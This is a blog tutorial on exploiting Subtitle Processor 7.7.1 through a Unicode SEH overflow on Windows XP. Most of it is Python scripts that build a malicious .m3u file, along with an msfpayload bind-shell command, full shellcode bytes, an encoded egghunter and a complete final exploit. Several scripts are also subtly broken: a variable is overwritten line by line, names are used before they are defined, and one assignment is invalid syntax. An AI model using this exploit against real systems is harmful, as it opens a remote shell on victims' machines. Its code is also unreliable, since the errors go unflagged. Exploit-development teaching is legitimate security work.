Sunday, October 28, 2012

Unicode Exploits

Subtitle Processor 7.7.1 Exploitation: An In Depth Tutorial 
on Unicode Exploitation With Egghunters


Prerequisites

  • Windows XP SP3 (latest updates can be installed if you want, doesn't really matter for this exploit)
  • DEP disabled on Windows XP SP3 (this is the default setting but if you have changed it you will need to change it back)
  • Immunity Debugger with mona.py installed in it.
  • Understanding of SEH exploits and some previous practice with them.
  • Some understanding of egghunters and how they are used in exploits.
  • A hell of a lot of patience.
  • The ability to search for things you don't understand.
As always, if you don't understand something, first try and see if someone hasn't already answered the question online already. If you still can't find the answer then you can leave a comment below or email me on tekwizz123@gmail.com.

Starting Out

You can find the exploit details at http://www.exploit-db.com/exploits/17217/ along with a link to download the vulnerable program or just click this link which goes to the same thing:  http://www.exploit-db.com/wp-content/themes/exploit/applications/aaea2a1dbeaf6ca7c394acbba93461d9-SubtitleProcessor771.zip

Ok with both of those installed go through the installation and just accept the defaults. Once done load the program up in Immunity Debugger (keep holding down SHIFT + F9 until program opens):



Ok now that we have the program opened we will create a simple little test exploit for this baby shall we?


#!/usr/bin/python
junk  = "\x41" * 6000
exploit = junk
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

Which looks like this in my VM:



Ok so now we need to compile this with the command:

python *dir to python script*\*whatever the script was named*

Then we load up the resulting subtitle.m3u file by doing:

  1. Click on the File icon
  2. Click on playlist
  3. Navigate to the .m3u file we created.
  4. Click open.

You should get something that looks like this:



You should notice 3 things (sorry these are not clearly shown in the photo, just click on that registers button on the top of the upper right panel to view the registers clearly)

  1. EAX appears to be overwritten with our string that has now been transformed into Unicode.
  2. ESI also seems to be subject to a similar overwrite.
  3. The SEH handler has been overwritten with our string
Looking at the SEH handler:



However we notice something rather peculiar about this exploit. Instead of the SEH handler being overwritten with \x41\x41\x41\x41 as we expected, it is instead overwritten with \x00\x41\x00\x41. WTF? How the heck? Let me explain.

The Peculiarities of Unicode: Character Restriction

Basically what happens is that Unicode expands our characters out. For example:

\x41 in hex becomes \x00\x41 in Unicode.

Similarly something like \x7f will be expanded out to be \x00\x7f in Unicode.

A full list of hex to Unicode translations can be found on this website (interestingly enough I haven't found many website for this, but this seems to have all of them)

http://www.utf8-chartable.de/unicode-utf8-table.pl


Finding Offsets to NSEH and SEH

 Ok so with that out the way we now need to figure out the offsets to NSEH and SEH. To do this we will use mona.py. Simply type in the following in the small white box at the bottom of Immunity and hit enter:


!mona pc 6000
This will generate a metasploit pattern of 6000 bytes. Open the pattern.txt that it creates which will be placed in the folder that you specified on start up. If you don't know what that is you can change it with:

!mona config -set workingfolder C:\logs
(Thanks for corelanc0d3r for providing this information on the front page of his download page)


Ok open it up and copy over the string into the exploit code. It should look like this:


 The mona.py pattern creation.


 How the exploit should now look.

Ok so now we need to generate the .m3u file again and load it up in the program. When the program crashes with the new file it should look like this:


Now what we could do is do pattern_create to find out the offset but I prefer to use mona.py and is handy feature called "findmsp". To do this type in:

!mona findmsp
If we look at the result we should see a bunch of output. We are only interested in this line though:


This tells us that the NSEH handler was overwritten 4076 bytes in. Now in actuality the NSEH handler is written 4078 bytes in. I'm not sure what causes this and if you want you can use the following code with only 4076 bytes and see the difference but for the sake of space I will not recreate it here.

Anyway, we now change our code to this:

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "B" * 2
seh = "C" * 2
exploit = junk + nseh + seh
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()
When we compile this code and run it again we should see this when we look at the SEH chain:

The SEH handler has been overwritten with our C's or \x43 in hex

We now have full control over SEH and NSEH :) But we will see this is only part of the exploit done.

Dealing with Hell: Getting correct values into NSEH and SEH

And now we come to the part that is probably the single section of this exploit that makes it so dang difficult. What we need to do next is so confusing that even I do not fully understand it myself. However I will try to do my best to explain it:

Basically because of the Unicode expansion of bytes, we cannot simply replace NSEH with a 4 byte jump as per what we normally do to get out of the little trap zone of death. Oh no. In Unicode  we must walk through little pointy zone of death and hope little pointy zone of death doesn't decide to kill us along the way. 

Essentially, because we can't do the jump we must fill NSEH will 2 bytes that when expanded will be transformed into harmless executable instructions in memory. This is harder than it seems. But its not the end of the pain.

To make things even more difficult we must also fill SEH with an address that points to a POP POP RET or a similar instruction (read up on SEH exploits if you don't get this). However not only must this address point to this, but the parts that make up the address must be executable when expanded in memory.

So...yeah. This is what makes this exploit general all around hell (mostly...more pain to come later).

To generate Unicode compatible pointers for overwriting SEH we do the following once the program has fully loaded:

!mona seh -cp unicode
This will output a file called seh.txt with all of the pointers. Which in my case was 50 pointers. *sigh* And only one of them actually works from what I have found. *sigh*

Anyway this is the pointer you need to overwrite SEH with:

0x004600eb 

We will change our exploit to accommodate this:

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "B" * 2
seh = "\xeb\x46"
exploit = junk + nseh + seh
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

I have looked through that list of 50 pointers and found that this one occurs about 25-30 pointers into the list. So basically you would of had to test 30 invalid pointers to find one that would work. This is where the manual work comes into play big time for this exploit.

As for NSEH its relatively simple. I can't explain how they came up with this (cause I sure as hell didn't think of it first) but it works wonderfully and actually makes perfect sense.

NSEH should be:

\x61\x62
Why? Very good question. Basically in memory this expands out to this:

61                 POPAD
006200         ADD BYTE PTR DS:[EDX], AH
Basically the first instruction will "pop all double-word (32-bit) registers from the stack" (definition taken from https://en.wikipedia.org/wiki/X86_instruction_listings)

This helps to set all values in the registers to valid addresses so that when do manipulation on them later on they don't point to invalid addresses such as 0x0000000000.

That Second Instruction: More Than Meets the Eye

The second instruction is really what is important to us though. For the purposes of our exploit this simply acts as a NOP instruction. What it does is take the higher two bytes of AX and place them into the address pointed to by EDX. This does nothing in our exploit as EDX does not point to any part of memory that we care about and is thus this can be used as a NOP between instructions.

This will come in handy in a sec. For now lets just make the changes to our exploit and double check that it works fine:



#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
junk2 = "\x90" * (6000 - len(nseh+seh))
exploit = junk + nseh + seh + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

* Note: I'm not sure why the SEH part has to be done 2 times over. Something I'm still looking into. *

If all works fine we should see the following:


We can see that our SEH handler has been correctly overwritten. We now place a breakpoint on this address:




And then if we continue we see this:


YAY :) So we look like we are getting there :)

Adjusting Them Registerrrrs

However we see a small problem:



We only have 38F bytes or 911/2 = 455.5 bytes for our shellcode.

Now you may think this is not a problem, however consider the following:
  1. We still need to encode our payload into Unicode. The additional instructions that will decode our payload from Unicode into the proper instructions that we want will take up extra space.
  2. In order for this Unicode decoder to work (we will be using alpha2) we need to point a register to the beginning of our shellcode. Atm most of our registers point to various locations within our buffer but not to the beginning of the buffer itself. However EBX seems to point to the beginning so we can use this. (Note if it didn't we would have to manually adjust it. You can see how to do this at http://fuzzysecurity.com/tutorials/expDev/5.html )
Which brings us to the problem of adjusting the registers so that one of our registers point to the beginning of our shellcode. We also realize that we are going to need an egghunter to find a full copy of our payload in memory that doesn't cross a memory border. This egghunter will also need to be encoded in Unicode in order for it to work properly.

adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....

Well when I say the beginning of the shellcode I really mean 12 bytes into the shellcode. Again this won't be repeated here but you can check this for yourself if you want. To account for this we will add in another section to accommodate  for this:

buffer = "\x62" * 12

Our new exploit looks like this:


#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  = "\x90" * (6000 - len(junk+nseh+seh+adjust+buffer))


exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()


The first of these instructions will absorb the \x00 from the \xc3 instruction and turn into our NOP instruction. The next 11 will not be executed and turn into \x62\x00:



If all goes well when you execute the RETN instruction you should hit the first "\x90" and the display should look similar to mine:



Finding Bad Characters

Next we need to identify bad characters that will cause our exploit to fail. To do this do the following:


  1. Download generatecodes.pl from http://exploit.co.il/wp-content/uploads/2010/05/generatecodes.txt
  2. Edit the code and remove the line:
    1. GetOptions('help|?|' => \$help);
  3. Run the code with Perl and put the resulting output into a file.
Ok once you have done that its a simple matter of copy and pasting each line in place of the "\x90"s, then dumping the code in memory and checking that none of the bytes are corrupted or are missing/modified.

Here is the list of codes in case the code doesn't work for you:
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e"
"\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d"
"\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c"
"\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b"
"\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a"
"\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59"
"\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68"
"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77"
"\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86"
"\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95"
"\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4"
"\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3"
"\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1"
"\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe"
"\xff"


So this is what you would change your code to for the first run:

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  =  "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e"


exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()
You should quickly realize that in that line \x00 is not a valid character. Remove it and try again.


#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  =  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e"

exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()


We see we still have a problem. Lets split the string up into two segments of equal length and try the first segment.

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  =  "\x01\x02\x03\x04\x05\x06\x07\x08"

exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()
This appears to work. All of the bytes appear in memory correctly and none of them seem to have been changed at all (note that the \x00 's that you see before and after each byte in this string are normal as the program will translate these bytes into Unicode)

Lets try with the other string again:

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  =  "\x09\x0a\x0b\x0c\x0d\x0e"

exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

Woops. Still a problem. Split it up again.

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  =  "\x09\x0a\x0b"
#\x0c\x0d\x0e
exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()
Still a problem. Try again with just \x09\x0a?


#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  =  "\x09\x0a"
#\x0b\x0c\x0d\x0e
exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

And would you believe it. We still have an error. Testing out \x09 and \x0a by themselves should reveal that \x0a is another bad character. Once you are done you can take \x0a and replace the other characters back in.


#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  =  "\x09\x0b\x0c\x0d\x0e"
exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()
Which returns an error yet again. Try it with just \x0b and you will find its not that one? \x0d?

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  =  "\x0d" 

exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()
Yep thats the one. So we also can add \x0d to our list of bad characters. There are no more bad characters for that line so you can place the remaining characters from that line back and you should see them all appear in memory correctly.


#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  =  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0d\x0e" 

exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()
This should now work with all characters appearing correctly in memory. Repeat this process for each line that I pasted above. You should generate the following list of bad characters:


  • \x00
  • \x0a
  • \x0d
  • \x1a
  • \x3a
  • \x5c
  • \x80

Generating The Bind Shell

To generate the bind shell we could use msfvenom. However I found it kept on including the bad characters in my final payload. So I decided to do it the old way (aka the way I like to do it :P ) :

msfpayload windows/shell/bind_tcp R | msfencode -a x86 -b "\x00\x0a\x0d\x1a\x3a\x5c\x80" -t c
This should generate you shellcode. Copy and paste it into a new file and search through it for each of the bad characters to double check that none of them slipped through. If all is good, make a new section in the code for this shellcode:


#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
shellcode = (
"\xdb\xc2\xd9\x74\x24\xf4\xbf\xe6\xcb\xb6\xa3\x5d\x33\xc9\xb1"
"\x4b\x31\x7d\x19\x83\xc5\x04\x03\x7d\x15\x04\x3e\x4a\x4b\x41"
"\xc1\xb3\x8c\x31\x4b\x56\xbd\x63\x2f\x12\xec\xb3\x3b\x76\x1d"
"\x38\x69\x63\x96\x4c\xa6\x84\x1f\xfa\x90\xab\xa0\xcb\x1c\x67"
"\x62\x4a\xe1\x7a\xb7\xac\xd8\xb4\xca\xad\x1d\xa8\x25\xff\xf6"
"\xa6\x94\xef\x73\xfa\x24\x0e\x54\x70\x14\x68\xd1\x47\xe1\xc2"
"\xd8\x97\x5a\x59\x92\x0f\xd0\x05\x03\x31\x35\x56\x7f\x78\x32"
"\xac\x0b\x7b\x92\xfd\xf4\x4d\xda\x51\xcb\x61\xd7\xa8\x0b\x45"
"\x08\xdf\x67\xb5\xb5\xe7\xb3\xc7\x61\x62\x26\x6f\xe1\xd4\x82"
"\x91\x26\x82\x41\x9d\x83\xc1\x0e\x82\x12\x06\x25\xbe\x9f\xa9"
"\xea\x36\xdb\x8d\x2e\x12\xbf\xac\x77\xfe\x6e\xd1\x68\xa6\xcf"
"\x77\xe2\x45\x1b\x01\xa9\x01\xe8\x3f\x52\xd2\x66\x48\x21\xe0"
"\x29\xe2\xad\x48\xa1\x2c\x29\xae\x98\x88\xa5\x51\x23\xe8\xec"
"\x95\x77\xb8\x86\x3c\xf8\x53\x57\xc0\x2d\xf3\x07\x6e\x9e\xb3"
"\xf7\xce\x4e\x5b\x12\xc1\xb1\x7b\x1d\x0b\xda\x4a\x39\xe7\x8d"
"\xae\xbd\x19\x12\x27\x5b\x73\xba\x61\xf3\xec\x78\x56\xcc\x8b"
"\x83\xbd\x60\x03\x14\x8a\x6e\x93\x1b\x0b\xa5\xb7\xb0\xa4\x2e"
"\x4c\xdb\x71\x4e\x53\xf6\xd2\x07\xc4\x8c\xb2\x6a\x74\x90\x9f"
"\x1f\x76\x04\x1b\xb6\x21\xb0\x21\xef\x06\x1f\xda\xda\x1c\x96"
"\x4e\xa5\x4a\xd7\x9e\x25\x8b\x81\xf4\x25\xe3\x75\xac\x75\x16"
"\x7a\x79\xea\x8b\xef\x81\x5b\x7f\xa7\xe9\x61\xa6\x8f\xb6\x9a"
"\x8d\x11\x8b\x4c\xe8\x97\xfd\xfa\x18\x54"
)
junk2  =  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0d\x0e"
exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

 Please note that the reason we don't encode the payload in Unicode is because you can actually find a copy of the payload that hasn't been converted into Unicode in memory. To check this do:

  • View - Memory
  • Click on the first entry starting with the lowest number.
  • Right click and click search.
  • Enter a copy of some of the bytes from your code.
  • Observe the fact that Immunity finds a copy of your code unconverted in memory.


Generating the Unicode Egghunter + Tag

To generate the last section of this exploit we will need to use skylined's alpha2 alphanumeric shellcode encoder. You can find a copy here: alpha2.c.

We also need an egghunter. This was obtained from one of corelanc0d3r's awesome tutorials on egghunters. The code is recreated below (taken from https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/)

"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

The next step we will need to do is encode this egghunter into Unicode. To do this we take the code from above and paste it into a new file:

#!/usr/bin/python
print ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x77\x30\x30\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")

Run that script and redirect the output to a file called egghunter.raw. Then do:

gcc alpha2.c -o alpha2

and do:

./alpha2 --unicode --uppercase eax < egghunter.raw > egghunter

The send egghunter over to your host PC and add it into the exploit.

Finally we add the tag to our exploit, making the final exploit look like this (and yes i forgot to take out junk2 in the last one in case your wondering why this one looks a little different ;) ):

#!/usr/bin/python
junk  = "\x41" * (4078-(len(tag + shellcode))
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
tag = "w00tw00t"
shellcode = (
"\xdb\xc2\xd9\x74\x24\xf4\xbf\xe6\xcb\xb6\xa3\x5d\x33\xc9\xb1"
"\x4b\x31\x7d\x19\x83\xc5\x04\x03\x7d\x15\x04\x3e\x4a\x4b\x41"
"\xc1\xb3\x8c\x31\x4b\x56\xbd\x63\x2f\x12\xec\xb3\x3b\x76\x1d"
"\x38\x69\x63\x96\x4c\xa6\x84\x1f\xfa\x90\xab\xa0\xcb\x1c\x67"
"\x62\x4a\xe1\x7a\xb7\xac\xd8\xb4\xca\xad\x1d\xa8\x25\xff\xf6"
"\xa6\x94\xef\x73\xfa\x24\x0e\x54\x70\x14\x68\xd1\x47\xe1\xc2"
"\xd8\x97\x5a\x59\x92\x0f\xd0\x05\x03\x31\x35\x56\x7f\x78\x32"
"\xac\x0b\x7b\x92\xfd\xf4\x4d\xda\x51\xcb\x61\xd7\xa8\x0b\x45"
"\x08\xdf\x67\xb5\xb5\xe7\xb3\xc7\x61\x62\x26\x6f\xe1\xd4\x82"
"\x91\x26\x82\x41\x9d\x83\xc1\x0e\x82\x12\x06\x25\xbe\x9f\xa9"
"\xea\x36\xdb\x8d\x2e\x12\xbf\xac\x77\xfe\x6e\xd1\x68\xa6\xcf"
"\x77\xe2\x45\x1b\x01\xa9\x01\xe8\x3f\x52\xd2\x66\x48\x21\xe0"
"\x29\xe2\xad\x48\xa1\x2c\x29\xae\x98\x88\xa5\x51\x23\xe8\xec"
"\x95\x77\xb8\x86\x3c\xf8\x53\x57\xc0\x2d\xf3\x07\x6e\x9e\xb3"
"\xf7\xce\x4e\x5b\x12\xc1\xb1\x7b\x1d\x0b\xda\x4a\x39\xe7\x8d"
"\xae\xbd\x19\x12\x27\x5b\x73\xba\x61\xf3\xec\x78\x56\xcc\x8b"
"\x83\xbd\x60\x03\x14\x8a\x6e\x93\x1b\x0b\xa5\xb7\xb0\xa4\x2e"
"\x4c\xdb\x71\x4e\x53\xf6\xd2\x07\xc4\x8c\xb2\x6a\x74\x90\x9f"
"\x1f\x76\x04\x1b\xb6\x21\xb0\x21\xef\x06\x1f\xda\xda\x1c\x96"
"\x4e\xa5\x4a\xd7\x9e\x25\x8b\x81\xf4\x25\xe3\x75\xac\x75\x16"
"\x7a\x79\xea\x8b\xef\x81\x5b\x7f\xa7\xe9\x61\xa6\x8f\xb6\x9a"
"\x8d\x11\x8b\x4c\xe8\x97\xfd\xfa\x18\x54"
)
egghunter =
(
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBC6SQGZKOLO0B0RQZOSR88MNNOLKUPZSDJO6XT7NPNP3DTKKJ6OD5JJ6OBUK7KOYWLJA"
)
exploit = junk + tag + shellcode + nseh + seh + adjust + buffer + egghunter
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

Two things to note here:

  1. You have to place the tag + shellcode before the NSEH and SEH overwrite. If you were to have placed it after the egghunter, the shellcode would have ran past the end of the memory block allocated for the program and you shellcode would have been truncated.
  2. When we adjust the length of the junk, we don't times the len of tag + shellcode by 2. This is because when we calculated the amount of  \x41 's to use for junk, we already took into account Unicode expansion into our total offset. Thus we don't need to times the tag+shellcode by 2 to account for this.

Anyway thats all I have for now guys. If you want to watch a video of this in action you can see my fairly bad video down here (you will want to watch this in 720 px or higher):




Thanks for reading :)

-tekwizz123


No comments:

Post a Comment